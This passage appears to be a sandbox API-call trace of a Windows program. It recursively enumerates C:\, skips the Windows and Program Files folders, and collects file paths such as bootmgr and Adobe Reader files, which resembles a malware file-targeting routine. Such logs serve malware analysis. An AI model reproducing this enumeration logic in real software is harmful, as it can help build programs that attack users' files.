lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0031.524] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.524] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.524] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.524] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.524] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.524] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.524] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.524] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.524] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0031.524] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.524] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0031.524] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0031.524] lstrcpyW (in: lpString1=0x12d960, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0031.525] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.525] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.525] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.525] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0031.525] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0031.525] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.525] lstrlenW (lpString="sv-SE") returned 5 [0031.525] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0031.525] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0031.525] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0031.525] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0031.525] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.525] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.525] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.525] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.525] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.525] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.525] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.525] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.525] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0031.525] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.525] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0031.525] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0031.525] lstrcpyW (in: lpString1=0x12d9a8, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0031.525] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.525] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.525] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.525] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0031.525] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0031.525] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.525] lstrlenW (lpString="tr-TR") returned 5 [0031.526] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0031.526] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0031.526] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0031.526] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0031.526] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.526] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.526] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.526] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.526] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.526] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.526] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0031.526] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.526] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0031.526] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0031.526] lstrcpyW (in: lpString1=0x12d9f0, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0031.526] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.526] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.526] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.526] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0031.526] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0031.526] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.526] lstrlenW (lpString="zh-CN") returned 5 [0031.526] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0031.526] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0031.526] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0031.526] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0031.526] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.526] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.526] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.527] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.527] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.527] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.527] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0031.527] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.527] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0031.527] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0031.527] lstrcpyW (in: lpString1=0x12da38, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0031.527] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.527] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.527] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.527] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0031.527] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0031.527] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.527] lstrlenW (lpString="zh-HK") returned 5 [0031.527] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0031.527] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0031.527] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0031.527] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0031.527] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.527] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.527] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.527] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.527] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.527] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.527] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0031.527] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.527] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0031.527] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0031.527] lstrcpyW (in: lpString1=0x12da80, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0031.527] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.527] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.528] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.528] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0031.528] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0031.528] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.528] lstrlenW (lpString="zh-TW") returned 5 [0031.528] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0031.528] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0031.528] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0031.528] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0031.528] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.528] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.528] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.528] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0031.528] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.528] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0031.528] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0031.528] lstrcpyW (in: lpString1=0x12dac8, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0031.528] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.528] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.528] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0 [0031.528] FindClose (in: hFindFile=0x775a30 | out: hFindFile=0x775a30) returned 1 [0031.528] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.528] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0031.528] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0031.528] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0031.528] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0031.528] lstrlenW (lpString="c:\\") returned 3 [0031.528] lstrlenW (lpString="bootmgr") returned 7 [0031.528] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0031.528] lstrlenW (lpString="c:\\bootmgr") returned 10 [0031.528] lstrcpyW (in: lpString1=0x12ed48, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0031.528] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.528] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0031.528] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0031.528] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0031.528] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0031.528] lstrlenW (lpString="c:\\") returned 3 [0031.528] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0031.529] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0031.529] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0031.529] lstrcpyW (in: lpString1=0x12ed68, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0031.529] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.529] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0031.529] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0031.529] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0031.529] lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0031.529] lstrlenW (lpString="c:\\") returned 3 [0031.529] lstrlenW (lpString="Documents and Settings") returned 22 [0031.529] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0031.529] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0031.529] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0031.529] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0031.529] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0xffffffff [0031.529] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.529] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0031.529] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0031.529] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0031.529] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0031.529] lstrlenW (lpString="c:\\") returned 3 [0031.529] lstrlenW (lpString="hiberfil.sys") returned 12 [0031.529] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0031.529] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0031.529] lstrcpyW (in: lpString1=0x12ed90, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0031.529] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.529] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0031.529] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0031.529] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0031.529] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0031.529] lstrlenW (lpString="c:\\") returned 3 [0031.529] lstrlenW (lpString="pagefile.sys") returned 12 [0031.529] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0031.529] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0031.529] lstrcpyW (in: lpString1=0x12edb8, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0031.529] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.529] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0031.529] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0031.530] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0031.530] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0031.530] lstrlenW (lpString="c:\\") returned 3 [0031.530] lstrlenW (lpString="PerfLogs") returned 8 [0031.530] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0031.530] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0031.530] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0031.530] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0031.530] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0xffffffff [0031.530] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.530] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0031.530] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0031.530] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0031.530] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0031.530] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.530] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0031.530] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0031.530] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0031.530] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0031.530] lstrlenW (lpString="c:\\") returned 3 [0031.530] lstrlenW (lpString="Program Files (x86)") returned 19 [0031.530] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0031.530] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0031.530] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.530] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0031.530] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0x775a30 [0031.530] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.530] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.530] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.530] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.530] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0031.530] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0031.530] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.530] lstrlenW (lpString="Adobe") returned 5 [0031.530] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0031.530] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0031.530] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0031.531] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.531] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.531] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.531] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.531] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0031.531] lstrlenW (lpString="Reader 10.0") returned 11 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0031.531] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.531] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.531] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.531] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.531] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.531] lstrlenW (lpString="Benioku.htm") returned 11 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0031.531] lstrcpyW (in: lpString1=0x12ede0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0031.531] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.531] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.531] lstrlenW (lpString="Berime.htm") returned 10 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0031.531] lstrcpyW (in: lpString1=0x12ee58, lpString2="c:\\Program Files 